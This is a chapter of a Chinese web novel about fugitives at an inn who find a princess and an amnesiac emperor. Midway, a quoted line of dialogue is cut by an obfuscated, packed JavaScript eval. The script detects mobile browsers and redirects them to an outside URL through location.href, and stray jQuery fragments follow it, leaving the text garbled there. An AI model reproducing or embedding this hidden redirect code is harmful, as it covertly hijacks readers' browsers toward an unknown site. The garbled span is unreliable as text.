38. 无君

作品:《亡国后的第十六年

    他们此时正欲离开京城,没想到阴差阳错遇见了窦怀。


    昔日离散,终究迎来了团圆。


    穆安一时情难自禁,泪水夺眶而出,世间再无比家人重逢更令人欣喜的事了。


    耽搁了些时日,几人加快了速度,终于在天彻底黑透之前到了客栈。


    他们钱财不多便只开了两间客房,穆安与穆锦同住,景玉只能与窦怀共处一室。


    窦怀面上客气地接受了安排,景玉却不甚满意地瘪了瘪嘴,显然对这个同伴没什么兴趣。


    姐妹俩那边相安无事。另一边,窦怀洗去风尘,换上了干净衣物,正准备舒舒服服地躺下,一开门,却见房中烛火晃动,景玉正背对着门槛,半敞着衣襟,露出一截削瘦却结实的肩膀,手里拿着纱布,动作不耐地往伤口上敷药。


    窦怀咳了一声,略显尴尬地别过头:“需要帮忙吗?”


    “不用。”景玉皱着眉,动作迅速地将衣服披上,眼神里带着一丝警惕。


    刚刚一眼窦怀已经注意到景玉后背有好大一块伤疤,察觉到对方对自己带有几分敌意,他顿了顿,试图找个话题:“安儿在宫里……这一年可还好?”


    “食不言,寝不语。”景玉淡淡地打断,随即翻身背对窦怀,显然不想搭理他。


    窦怀无奈地耸耸肩,索性也不再寒暄。他这些天连轴奔波,已是疲惫不堪,头一挨上枕头,便沉沉睡去。


    烛光微微晃动,映出景玉沉思的侧脸。他闭了闭眼,最终也未再多言,翻了个身,任由夜色沉沉笼罩。


    很快景玉就发现了问题,他睡不着。


    从前在宫里,他什么苦都吃过,不至于因为和一个陌生人共处一室而失眠。


    他扶住自己额头,叹了一口气。


    他们此番是要去西南召集索戈族的。索戈一族,人人皆兵,没有战况时多过着游猎生活,自百年前起就归顺了晟国。


    如今晟国已亡,索戈族也踪迹难寻。


    景玉翻了个身,从前穆钰与他说过,晟国皇家寺院的壁画上正绘制着索戈族的藏身地,可寺院早就在十六年前被毁去。


    穆钰照着记忆中样子绘了图,这幅画被他想方设法送到了周将军手上。


    周家出事后,那幅画就被送去了穆锦那,再然后祭典那日他又将画从穆锦那里要了回来。


    景玉摩挲着自己后背,那画现在被他纹在了后背,以他少年时假死脱身时留下的伤痕作遮掩。


    他们之前猜测索戈族居所一则在南,一则在西。周将军曾经试探着差人寻找,可是一无所获。


    夜色中,景玉才刚沉入浅眠,忽然,一声沉闷的“咚”响起,仿佛有重物落地。


    他立刻睁眼,神经骤然绷紧,下意识以为是穆安她们出了事,刚要起身,便听到走廊上传来一阵压低的喧闹声。


    冷静下来后,他索性披上外袍,将门推开一道缝,透过缝隙看去。


    只见走廊尽头,一个身形瘦弱的女子正半背半扶着一个昏迷的男子,步履艰难。那男子衣襟蒙着面,身子软得像是完全失去了知觉,店小二在一旁焦急帮忙,却因男子过于沉重,行动极为吃力


    “我来吧。”


    景玉推门而出,伸手就要搭把手。


    然而,当他的目光落到女子身上时,脚步微微一顿——


    虽然女子戴着面纱,只露了半张脸却难掩绝色。景玉一眼便认出,这正是召国送往辽安联姻的宜庆公主宣珑。


    她怎么会突然出现在这里?


    宣珑对景玉的出现虽有些讶异,但很快恢复镇定,向他微微颔首,低声道:“多谢。”


    两人合力将昏迷男子扶入房中,安置在床上。


    景玉目光不经意地在宣珑身上打量了一瞬,见她衣摆微乱,发丝凌散,眉宇间浮着一丝疲惫,似乎经历了一场极为凶险的逃亡。


    察觉到景玉在盯着自己,宣珑下意识地后退半步,刚要警惕地开口,景玉却抢先一步,伸手猛地揭开床上男子蒙面的衣襟。


    他的动作太快,宣珑根本来不及阻止。


    面巾滑落,露出那张熟悉的脸——竟是召国的皇帝,宣璨!


    景玉心头一震,面色微变。


    宣珑见事情已然暴露,眸色一沉,袖中寒光一闪,转瞬便是一柄锋利匕首直刺景玉!


    景玉反应极快,侧身躲避,仍然被刀刃划破手腕,血珠渗出。他迅速扣住宣珑的手腕,轻巧一拧,宣珑手中的匕首“铛”地落地,随即被景玉牢牢制住。


    “公主不必如此。”景玉微微眯眼,嗓音沉稳而低缓,“我没有恶意。”


    宣珑冷笑一声,满眼戒备:“你是什么人?”


    景玉没有正面回答,反倒松开了她,语气意味深长:“我倒是更想知道,陛下为何会在此?”


    宣珑垂眸,似是不愿多言,片刻后才缓缓道:“皇家秋狩,陛下遇袭,被辽安劫走。我想方设法救出陛下,才逃至此地。”


    景玉微微挑眉,今夜竟撞见这般大戏,真是意外之喜。


    “你既然认识我,想必是宫里的人。”宣珑盯着景玉,浑身都透着戒备的敌意。


    景玉看了眼床上昏迷的皇帝,眼中光影微动,随即对宣珑微微欠身,道:“公主稍待。”


    话音落下,他转身走出了厢房,还不忘将门掩上。


    回到自己的房间,景玉立刻点燃蜡烛,拍了拍窦怀的肩膀。


    “喂,醒醒。”


    窦怀正睡得香,被突然惊醒,迷迷糊糊地睁眼,“怎么?”


    “出了大事。”景玉声音不紧不慢。


    窦怀瞬间清醒,猛地坐起。


    景玉眼神意味深长,道:“你去把穆锦她们叫来,一会儿长廊上见。”


    窦怀见他一脸凝重,不敢耽误,立刻穿衣下床,快步走了出去。


    不一会儿,穆安和穆锦匆匆赶来,脸上皆带着疑惑。


    “怎么了?”穆安开口,语气中带着些许警惕。


    景玉并未回答,只做了个手势,示意他们随他前往隔壁房间。


    来到门前,景玉轻轻敲了敲房门,低声道:“公主?”


    房门缓缓打开,宣珑站在门口,见着这群人微微一怔,目光很快停留在穆安身上。


    穆安看清来人,惊愕失声:“三公主?!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176057|162433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    宣珑怎会出现在这里?


    宣珑见事情瞒不住了,微微蹙眉,侧身让出门口:“进来吧。”


    几人走入房内,宣珑抬手揭开床上人的面巾。


    下一刻,穆安陡然睁大双眼,捂住嘴巴,倒吸一口凉气。


    “陛下遇袭遭辽安劫持。”宣珑沉声说道,“我冒险将陛下救出。”


    几人面面相觑,皆未料到竟发生了这等大事。


    “我去请大夫。”窦怀反应最快,立刻起身离开。


    “怡太妃怎会在此?”宣珑突然看向穆安,语气冷淡,眼神中透着几分探究。


    穆安微愣,不知该从何说起,宣珑多次救过她性命,想不到有一天自己还要向她解释这个。


    半晌,穆安只道了一声:“说来话长。”


    宣珑不置可否,转眸看向昏迷不醒的宣璨,缓缓道:“当务之急,是将陛下安全送回京城。而且……”


    她话音未落,床上的男子忽然轻微动了动。


    众人神色一紧。


    宣璨眉头皱起,睫毛微微颤动,缓缓睁开双眼,迷茫地环视四周。


    穆安心中一跳,几乎是下意识地往后退了一步。


    她实在不想与宣璨打照面,甚至下意识想要找地方躲避。


    “无碍。”宣珑看出了穆安的顾忌,轻声道。


    只见宣璨缓缓抬手按住额角,神色迷茫,眸中一片空茫,似乎极力回忆着什么。


    片刻后,他眨了眨眼,低声道:“头……疼……”


    宣珑轻叹一声,语气温和:“大夫马上就到了。”


    “这是……”景玉低声开口,似是察觉到了什么不对劲。


    宣珑淡淡看了他一眼,目光深邃如寒潭,缓缓道:“陛下失忆了。”


    空气瞬间凝滞。


    几人呼吸一滞,心头皆是一沉,穆安默默攥紧衣袖,心中思绪翻涌。她原本担心宣璨清醒后会找自己的麻烦,可如今他竟然……失忆了?


    “你们是?”宣璨看着他们,眼中尽是疑惑。


    “他们是我的朋友。”宣珑解释道。


    宣璨却看着穆安,眉头微皱,似是在思量什么。


    穆安被他看得心里发毛,片刻后,脚步声匆匆传来,大夫背着药箱快步走进屋内,窦怀在后头跟着。


    大夫并未察觉屋内氛围异样,径自走到床前,伸手搭上宣璨的脉搏。


    “他受过袭,常常昏迷。”宣珑补充道。


    大夫点点头,拂袖从药箱里取出银针,一根根插入宣璨的穴位,宣璨任由他动作,之后又闷哼一声,似乎感到些许不适,眉头皱得更紧。


    “只是皮外伤,多养些日子就好了。”大夫边说边打了一个哈欠。


    “他还失忆了。”穆安又道。


    “头部受袭是有失忆的可能。”


    宣珑脸色微变,低声问道:“可有办法恢复?”


    大夫沉吟道:“这要看具体情况。轻则数日,重则几年,甚至……终生不复。”


    屋内气氛霎时沉寂下来。


    国不可一日无君,眼下正是召国内忧外患的紧要关头。